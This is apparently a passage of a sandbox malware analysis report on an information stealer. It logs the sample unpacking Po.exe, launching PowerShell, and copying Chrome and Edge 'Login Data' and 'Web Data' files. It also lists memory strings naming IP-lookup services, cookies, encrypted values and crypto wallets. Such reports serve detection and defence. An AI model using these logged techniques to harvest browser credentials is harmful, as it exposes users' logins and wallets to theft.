Key: ""; Value: "") "Po.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE"; Key: ""; Value: "") "Po.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE\SHELL\OPEN\COMMAND"; Key: ""; Value: "") "Po.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE\SHELL\OPEN\COMMAND"; Key: ""; Value: "") "Po.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\MICROSOFT EDGE"; Key: ""; Value: "")38:T136e,"Po.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\RarSFX0\PO.exe" at 00000000-00007212-00000C15-1208585050 "Po.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll" at 00000000-00007212-00000C15-1208748522 "Po.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll" at 00000000-00007212-00000C15-1209000219 "Po.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll" at 00000000-00007212-00000C15-1210132584 "Po.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll" at 00000000-00007212-00000C15-1214057210 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll" at 00000000-00006620-00000C15-1218288046 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" at 00000000-00006620-00000C15-1218696223 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll" at 00000000-00006620-00000C15-1221014174 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll" at 00000000-00006620-00000C15-1221105166 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll" at 00000000-00006620-00000C15-1221253924 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00006620-00000C15-1221261402 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00006620-00000C15-1221345883 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00006620-00000C15-1221375879 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00006620-00000C15-1221376151 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll" at 00000000-00006620-00000C15-1222557665 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00006620-00000C15-1222613732 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00006620-00000C15-1222620482 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00006620-00000C15-1222620785 "powershell.exe" queries volume information of "C:\" at 00000000-00006620-00000C15-1223379931 "powershell.exe" queries volume information of "C:\share" at 00000000-00006620-00000C15-1223382806 "powershell.exe" queries volume information of "C:\share" at 00000000-00006620-00000C15-1224087124 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00006620-00000C15-1225600789 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00006620-00000C15-1226423850 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00006620-00000C15-1226731128 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00006620-00000C15-122700658539:T5ca,"22c44c550563220ca7ebfcfc28351b9f.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\PO.EXE") "22c44c550563220ca7ebfcfc28351b9f.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\22C44C550563220CA7EBFCFC28351B9F.EXE") "Po.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\POWERSHELL.EXE") "Po.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\POWERSHELL.EXE"; Key: "APPENDPATH") "Po.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\POWERSHELL.EXE"; Key: "PATH") "Po.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL") "Po.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK") "Po.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK"; Key: "DISPLAYNAME") "Po.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK"; Key: "DISPLAYVERSION") "Po.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER NPAPI") "Po.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER NPAPI"; Key: "DISPLAYNAME") "Po.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER NPAPI"; Key: "DISPLAYVERSION") "Po.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\AUTOITV3")3a:Td43,"Po.exe" called "CopyFileW" to copy %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data to new location %TEMP%\tmpCF94.tmp (UID: 00000000-00007860) "Po.exe" called "CopyFileW" to copy %TEMP%\tmpCF94.tmp to new location %TEMP%\tmpCF95.tmp (UID: 00000000-00007860) "Po.exe" called "CopyFileW" to copy %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data to new location %TEMP%\tmpCFA5.tmp (UID: 00000000-00007860) "Po.exe" called "CopyFileW" to copy %TEMP%\tmpCFA5.tmp to new location %TEMP%\tmpCFB6.tmp (UID: 00000000-00007860) "Po.exe" called "CopyFileW" to copy %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data to new location %TEMP%\tmpCFC7.tmp (UID: 00000000-00007860) "Po.exe" called "CopyFileW" to copy %TEMP%\tmpCFC7.tmp to new location %TEMP%\tmpCFC8.tmp (UID: 00000000-00007860) "Po.exe" called "CopyFileW" to copy %LOCALAPPDATA%\Google\Chrome\User Data\Default\Web Data to new location %TEMP%\tmpCFD8.tmp (UID: 00000000-00007860) "Po.exe" called "CopyFileW" to copy %TEMP%\tmpCFD8.tmp to new location %TEMP%\tmpCFD9.tmp (UID: 00000000-00007860) "Po.exe" called "CopyFileW" to copy %LOCALAPPDATA%\Google\Chrome\User Data\Default\Web Data to new location %TEMP%\tmpCFEA.tmp (UID: 00000000-00007860) "Po.exe" called "CopyFileW" to copy %TEMP%\tmpCFEA.tmp to new location %TEMP%\tmpCFEB.tmp (UID: 00000000-00007860) "Po.exe" called "CopyFileW" to copy %LOCALAPPDATA%\Google\Chrome\User Data\Default\Web Data to new location %TEMP%\tmpCFFB.tmp (UID: 00000000-00007860) "Po.exe" called "CopyFileW" to copy %TEMP%\tmpCFFB.tmp to new location %TEMP%\tmpCFFC.tmp (UID: 00000000-00007860) "Po.exe" called "CopyFileW" to copy %LOCALAPPDATA%\Google\Chrome\User Data\Default\Web Data to new location %TEMP%\tmpD00D.tmp (UID: 00000000-00007860) "Po.exe" called "CopyFileW" to copy %TEMP%\tmpD00D.tmp to new location %TEMP%\tmpD02D.tmp (UID: 00000000-00007860) "Po.exe" called "CopyFileW" to copy %LOCALAPPDATA%\Google\Chrome\User Data\Default\Web Data to new location %TEMP%\tmpD03E.tmp (UID: 00000000-00007860) "Po.exe" called "CopyFileW" to copy %TEMP%\tmpD03E.tmp to new location %TEMP%\tmpD03F.tmp (UID: 00000000-00007860) "Po.exe" called "CopyFileW" to copy %LOCALAPPDATA%\Google\Chrome\User Data\Default\Web Data to new location %TEMP%\tmpD050.tmp (UID: 00000000-00007860) "Po.exe" called "CopyFileW" to copy %TEMP%\tmpD050.tmp to new location %TEMP%\tmpD051.tmp (UID: 00000000-00007860) "Po.exe" called "CopyFileW" to copy %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Login Data to new location %TEMP%\tmpD10D.tmp (UID: 00000000-00007860) "Po.exe" called "CopyFileW" to copy %TEMP%\tmpD10D.tmp to new location %TEMP%\tmpD10E.tmp (UID: 00000000-00007860) "Po.exe" called "CopyFileW" to copy %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Login Data to new location %TEMP%\tmpD12E.tmp (UID: 00000000-00007860) "Po.exe" called "CopyFileW" to copy %TEMP%\tmpD12E.tmp to new location %TEMP%\tmpD12F.tmp (UID: 00000000-00007860) "Po.exe" called "CopyFileW" to copy %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Login Data to new location %TEMP%\tmpD140.tmp (UID: 00000000-00007860) "Po.exe" called "CopyFileW" to copy %TEMP%\tmpD140.tmp to new location %TEMP%\tmpD141.tmp (UID: 00000000-00007860) "Po.exe" called "CopyFileW" to copy %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Web Data to new location %TEMP%\tmpD152.tmp (UID: 00000000-00007860)3b:T643a,"22c44c550563220ca7ebfcfc28351b9f.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005280) "22c44c550563220ca7ebfcfc28351b9f.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005280) "22c44c550563220ca7ebfcfc28351b9f.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005280) "22c44c550563220ca7ebfcfc28351b9f.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005280) "22c44c550563220ca7ebfcfc28351b9f.exe" called "LoadLibrary" with a parameter 2http://crt.comodoca.com/comodorsacodesigningca.crt0$http://ocsp.comodoca.com0]54mioyxf'&" - Source: "00000000-00005280.00000000.140497.00E75000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-object0151231000000z190709184036z0greater" - Source: "00000000-00005280.00000000.140497.00E75000.00000004.mdmp") Found URL "http://crl.usertrust.com/utn-userfirst-object.crl05)0'0%http://ocsp.usertrust.com03$@@ha=\greater" - Source: "00000000-00005280.00000000.140497.00E75000.00000004.mdmp") Found URL "https://www.chiark.greenend.org.uk/" - Source: "00000000-00005280.00000000.140497.00E75000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-object9%^c190316123155z0" - Source: "00000000-00005280.00000000.140497.00E75000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-object9%^c190316123158z0" - Source: "00000000-00005280.00000000.140497.00E75000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00006620.00000000.141393.72731000.00000020.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00007212.00000000.140864.037F0000.00000004.mdmp") Found URL "http://user.configfile:.configfile://datadirectoryc:\users\hapubws\appdata\local\temp\rarsfx0\po.exe.configfile:///c:/users/hapubws/appdata/local/temp/rarsfx0/po.exec:/users/hapubws/appdata/local/temp/rarsfx0/po.exec:\users\hapubws\appdata\local\temp\rarsfx0\po.exehttphttpsfilegophernntpnewsmailtouuidtelnetldapnet.tcpnet.pipevsmacrostargetframeworkmoniker.netportablesilverlightwindowsphone71windowsphone8.netframeworkversion=v4.0versionv4.00123456789abcdefsystem.net/machine/exe/roaming_user/local_usermachine/exe/roaming_userconfigmachine.configc:\windows\microsoft.net\framework\v4.0.30319\c:\windows\microsoft.net\framework\v4.0.30319\path2path1c:\windows\microsoft.net\framework\v4.0.30319\configc:\windows\microsoft.net\framework\v4.0.30319\config\machine.configc:\windows\microsoft.net\framework\v4.0.30319\config\machine.configmachine.config\\.\modeaccessrightssharec:\windows\microsoft.net\framework\v4.0.30319\config\machine.config\\?\config_base_unrecognized_elementsystem.security.cryptography.randomnumbergeneratorcryptonamemappingoidmapmscorlibmachine.configconfigurationcryptographysettingsc:\windows\microsoft.net\framework\v4.0.30319\config\c:\users\hapubws\appdata\roaming\microsoft\clr" - Source: "00000000-00007212.00000000.140864.05710000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00007212.00000000.140864.05710000.00000004.mdmp") Found URL "http://www.w3.org/2000/09/xmldsig" - Source: "00000000-00007212.00000000.140864.05710000.00000004.mdmp") Found URL "https://fs.microsoft.com/fs/windows/config.json04/16" - Source: "00000000-00007212.00000000.140864.07D80000.00000002.mdmp") Found URL "https://fs.microsoft.com/fs/windows/config.json,config,004/16" - Source: "00000000-00007212.00000000.140864.07D80000.00000002.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=%ls%dhttps://go.microsoft.com/fwlink/?linkid=74408&enterprise=https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%u&enterprise=%dpynetsubmitsamplesconsentspynetreportingpclient_public_commodempclient_allowadminelevationacquirepclient_noforcedreboot\?\volume" - Source: "00000000-00007212.00000000.140864.713A1000.00000020.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&httpsigupdate_baseurlforceupdatefrommusignaturedisablenotificationcloudbasedbehaviorblockingsignaturecategoryiddisablescheduledsignatureupdateonbatterysignatureupdatecatchupintervalsignatureslastcheckednissignatureslastupdateddeltaupdatefailurenissignatureversionnissignaturelocation%mpconfig_productappdatapath%\definition" - Source: "00000000-00007212.00000000.140864.713A1000.00000020.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportspynetreportinglocationlocalsettingoverridesubmitsamplesconsentdisableblockatfirstseenheartbeatdelayindaysheartbeatsamplingratessloptionsbypassinternetcheckmapslatencyretrytimeoutthreatseveritydefaultactionemptykeyvaluedisableprivacymode%mpconfig_productappdatapath%\telemetryallowuseruiaccessuilockdownnotification_suppresssuppressrebootnotificationsuppresswdonotificationmpconfig_productcodenamempconfig_productpathmpconfig_productappdatapathmpconfig_productuserappdatapathmpconfig_appdataroot12345678-f0f0-4f3f-b1f3-41cd1905616empconfig_reportingguid\msmplics.dllpconfigut-53e7e780-2330-40c6-94c6-be75e946e933software\microsoft\removaltools\mrtguidfalsemp_config_type_szmp_config_type_dwordmp_config_type_multi_szmp_config_type_binarymp_config_type_nonemp_config_origin_nonemp_config_origin_defaultmp_config_origin_preferencesmp_config_origin_mdm_policymp_config_origin_policy*sof**eof*t%uh%um%uspt%uhp%udp%udt%uh2000-01-01t%02u:%02u:%02umpclient_nouseunifiedschedulingenginelocalsystem2100-01-01t00:00:00d:(a;;fa;;;sy)(a;;frfx;;;ls)maintenanceregularmicrosoft\windows\windows" - Source: "00000000-00007212.00000000.140864.713A1000.00000020.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00007212.00000000.140864.71441000.00000020.mdmp") Found URL "https://api.ip.sb/geoip%userpenvironmentrofile%\appdenvironmentata\roaenvironmentmingappdata\local\protonvpn^\u0020-\u007f]processidname_on_cardencrypted_valuehttps://ipinfo.io/ip%appdata%\logins" - Source: "00000000-00007860.00000000.141461.00400000.00000040.mdmp") Found URL "https://api.ipify.orgcookies//settinstring.removeg[@name=\passwstring.removeord\]/valustring.removeesaturnwalletweb" - Source: "00000000-00007860.00000000.141461.00400000.00000040.mdmp")50:T87e,"22c44c550563220ca7ebfcfc28351b9f.exe" called "FindFirstFileW" with parameter C:\22c44c550563220ca7ebfcfc28351b9f.exe (UID: 00000000-00005280) "22c44c550563220ca7ebfcfc28351b9f.exe" called "FindFirstFileW" with parameter C:\22c44c550563220ca7ebfcfc28351b9f.z01 (UID: 00000000-00005280) "22c44c550563220ca7ebfcfc28351b9f.exe" called "FindFirstFileW" with parameter \\?\C:\22c44c550563220ca7ebfcfc28351b9f.z01 (UID: 00000000-00005280) "22c44c550563220ca7ebfcfc28351b9f.exe" called "FindFirstFileW" with parameter PO.jpg (UID: 00000000-00005280) "22c44c550563220ca7ebfcfc28351b9f.exe" called "FindFirstFileW" with parameter \\?\%TEMP%\RarSFX0\PO.jpg (UID: 00000000-00005280) "22c44c550563220ca7ebfcfc28351b9f.exe" called "FindFirstFileW" with parameter PO.exe (UID: 00000000-00005280) "22c44c550563220ca7ebfcfc28351b9f.exe" called "FindFirstFileW" with parameter \\?\%TEMP%\RarSFX0\PO.exe (UID: 00000000-00005280) "Po.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00007212) "Po.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\\* (UID: 00000000-00007212) "Po.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00007212) "Po.exe" called "FindNextFileW" with parameter NETFXSBS10.exe (UID: 00000000-00007212) "Po.exe" called "FindNextFileW" with parameter netfxsbs12.hkf (UID: 00000000-00007212) "Po.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00007212) "Po.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00007212) "Po.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00007212) "Po.exe" called "FindNextFileW" with parameter sbs_diasymreader.dll (UID: 00000000-00007212) "Po.exe" called "FindNextFileW" with parameter sbs_iehost.dll (UID: 00000000-00007212) "Po.exe" called "FindNextFileW" with parameter sbs_microsoft.jscript.dll (UID: 00000000-00007212) "Po.exe" called "FindNextFileW" with parameter sbs_microsoft.vsa.vb.codedomprocessor.dll (UID: 00000000-00007212) "Po.exe" called "FindNextFileW" with parameter sbs_mscordbi.dll (UID: 00000000-00007212)51:Td3e,Found string "AES-0017" (Indicator: "aes"; File: "22c44c550563220ca7ebfcfc28351b9f.exe") file/memory contains long string with (Indicator: "base64"; File: "tmpD1C8.tmp") file/memory contains long string with (Indicator: "base64"; File: "tmpCFFC.tmp") Found string "AES-0017" (Indicator: "aes"; Source: "00000000-00005280.00000000.140497.00E6A000.00000002.mdmp") Found string "P~AeS" (Indicator: "aes"; Source: "00000000-00005280.00000000.140497.00E75000.00000004.mdmp") Found string "PQAeS~" (Indicator: "aes"; Source: "00000000-00005280.00000000.140497.00E75000.00000004.mdmp") Found string "8$4,6-9'$6.:*?#1pHhX~AeSlZrNbS" (Indicator: "aes"; Source: "00000000-00005280.00000000.140497.00E75000.00000004.mdmp") Found string "$4,8-9'66.:$?#1*HhXpAeS~ZrNlS" (Indicator: "aes"; Source: "00000000-00005280.00000000.140497.00E75000.00000004.mdmp") Found string "ystem.OfflineFiles.Encrypted" (Indicator: ".encrypt"; Source: "00000000-00005280.00000000.140497.07270000.00000002.mdmp") Found string "ystem.Security.EncryptionOwners" (Indicator: ".encrypt"; Source: "00000000-00005280.00000000.140497.07270000.00000002.mdmp") Found string "ystem.Security.EncryptionOwnersDisplay" (Indicator: ".encrypt"; Source: "00000000-00005280.00000000.140497.07270000.00000002.mdmp") Found string "ystem.ZipFolder.Encrypted" (Indicator: ".encrypt"; Source: "00000000-00005280.00000000.140497.07270000.00000002.mdmp") Found string "System.Security.EncryptionOwnersDisplay" (Indicator: ".encrypt"; Source: "00000000-00005280.00000000.140497.072C0000.00000002.mdmp") Found string "System.Security.EncryptionOwners" (Indicator: ".encrypt"; Source: "00000000-00005280.00000000.140497.072C0000.00000002.mdmp") Found string "System.OfflineFiles.Encrypted" (Indicator: ".encrypt"; Source: "00000000-00005280.00000000.140497.072C0000.00000002.mdmp") Found string "System.ZipFolder.Encrypted" (Indicator: ".encrypt"; Source: "00000000-00005280.00000000.140497.072C0000.00000002.mdmp") Found string "IPF_Base64InkSerializedFormatWWW" (Indicator: "base64"; Source: "00000000-00005280.00000000.140497.72707000.00000002.mdmp") Found string "IPF_Base64GIFWWWh" (Indicator: "base64"; Source: "00000000-00005280.00000000.140497.72707000.00000002.mdmp") Found string "Specifies that ink be persisted by encoding the ISF as a base64 stream.WWWi" (Indicator: "base64"; Source: "00000000-00005280.00000000.140497.72707000.00000002.mdmp") Found string "Specifies that ink be persisted by using a base64 encoded fortified GIF.WW1" (Indicator: "base64"; Source: "00000000-00005280.00000000.140497.72707000.00000002.mdmp") Found string "System.IO.Compression.ZipFile" (Indicator: "zipfile"; Source: "00000000-00006620.00000000.141393.00091000.00000020.mdmp") Found string "System.Security.Cryptography.Algorithms" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006620.00000000.141393.00091000.00000020.mdmp") Found string "System.Security.Cryptography.Cng" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006620.00000000.141393.00091000.00000020.mdmp") Found string "System.Security.Cryptography.Csp" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006620.00000000.141393.00091000.00000020.mdmp") Found string "System.Security.Cryptography.Encoding" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006620.00000000.141393.00091000.00000020.mdmp")52:T9a6,Found reference to API "GetDC" (Indicator: "GetDC"; File: "22c44c550563220ca7ebfcfc28351b9f.exe") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; File: "22c44c550563220ca7ebfcfc28351b9f.exe") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; File: "22c44c550563220ca7ebfcfc28351b9f.exe") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00005280.00000000.140497.00E6A000.00000002.mdmp, 00000000-00005280.00000000.140497.72707000.00000002.mdmp") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00005280.00000000.140497.00E6A000.00000002.mdmp") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; Source: "00000000-00005280.00000000.140497.00E6A000.00000002.mdmp") Found reference to API "GetDCOrgEx" (Indicator: "GetDC"; Source: "00000000-00005280.00000000.140497.726A1000.00000020.mdmp") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; Source: "00000000-00005280.00000000.140497.72707000.00000002.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00007212.00000000.140864.037F0000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00007212.00000000.140864.037F0000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00007212.00000000.140864.037F0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00007212.00000000.140864.037F0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00007212.00000000.140864.037F0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00007212.00000000.140864.037F0000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00007212.00000000.140864.037F0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00007212.00000000.140864.037F0000.00000004.mdmp")53:T47c,Found reference to API "FindFirstFileW" (Indicator: "FindFirstFile"; File: "22c44c550563220ca7ebfcfc28351b9f.exe") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; File: "22c44c550563220ca7ebfcfc28351b9f.exe") Found reference to API "FindFirstFileExA" (Indicator: "FindFirstFile"; File: "22c44c550563220ca7ebfcfc28351b9f.exe") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; File: "22c44c550563220ca7ebfcfc28351b9f.exe") Found reference to API "FindFirstFileW" (Indicator: "FindFirstFile"; Source: "00000000-00005280.00000000.140497.00E6A000.00000002.mdmp") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; Source: "00000000-00005280.00000000.140497.00E6A000.00000002.mdmp") Found reference to API "FindFirstFileExA" (Indicator: "FindFirstFile"; Source: "00000000-00005280.00000000.140497.00E6A000.00000002.mdmp") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; Source: "00000000-00005280.00000000.140497.00E6A000.00000002.mdmp") Found reference to API "FindFirstFileW" (Indicator: "FindFirstFile"; Source: "00000000-00006620.00000000.141393.000A1000.00000002.mdmp")54:T95a,Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "22c44c550563220ca7ebfcfc28351b9f.exe") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "22c44c550563220ca7ebfcfc28351b9f.exe") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "22c44c550563220ca7ebfcfc28351b9f.exe") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "22c44c550563220ca7ebfcfc28351b9f.exe") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "22c44c550563220ca7ebfcfc28351b9f.exe") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00005280.00000000.140497.00E6A000.00000002.mdmp, 00000000-00005280.00000000.140497.72707000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00005280.00000000.140497.00E6A000.00000002.mdmp, 00000000-00005280.00000000.140497.72707000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00005280.00000000.140497.00E6A000.00000002.mdmp, 00000000-00005280.00000000.140497.72707000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00005280.00000000.140497.00E6A000.00000002.mdmp, 00000000-00005280.00000000.140497.72707000.00000002.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00005280.00000000.140497.00E6A000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00006620.00000000.141393.000A1000.00000002.mdmp, 00000000-00006620.00000000.141393.72745000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00006620.00000000.141393.000A1000.00000002.mdmp, 00000000-00006620.00000000.141393.72745000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00006620.00000000.141393.000A1000.00000002.mdmp, 00000000-00006620.00000000.141393.72745000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00006620.00000000.141393.000A1000.00000002.mdmp, 00000000-00006620.00000000.141393.72745000.00000002.mdmp")55:T622,Found reference to API "RegOpenKeyExW" (Indicator: "RegOpenKey"; File: "22c44c550563220ca7ebfcfc28351b9f.exe") Found reference to API "RegQueryValueExW" (Indicator: "RegQueryValue"; File: "22c44c550563220ca7ebfcfc28351b9f.exe") Found reference to API "RegOpenKeyExW" (Indicator: "RegOpenKey"; Source: "00000000-00005280.00000000.140497.00E6A000.00000002.mdmp, 00000000-00005280.00000000.140497.72707000.00000002.mdmp") Found reference to API "RegQueryValueExW" (Indicator: "RegQueryValue"; Source: "00000000-00005280.00000000.140497.00E6A000.00000002.mdmp, 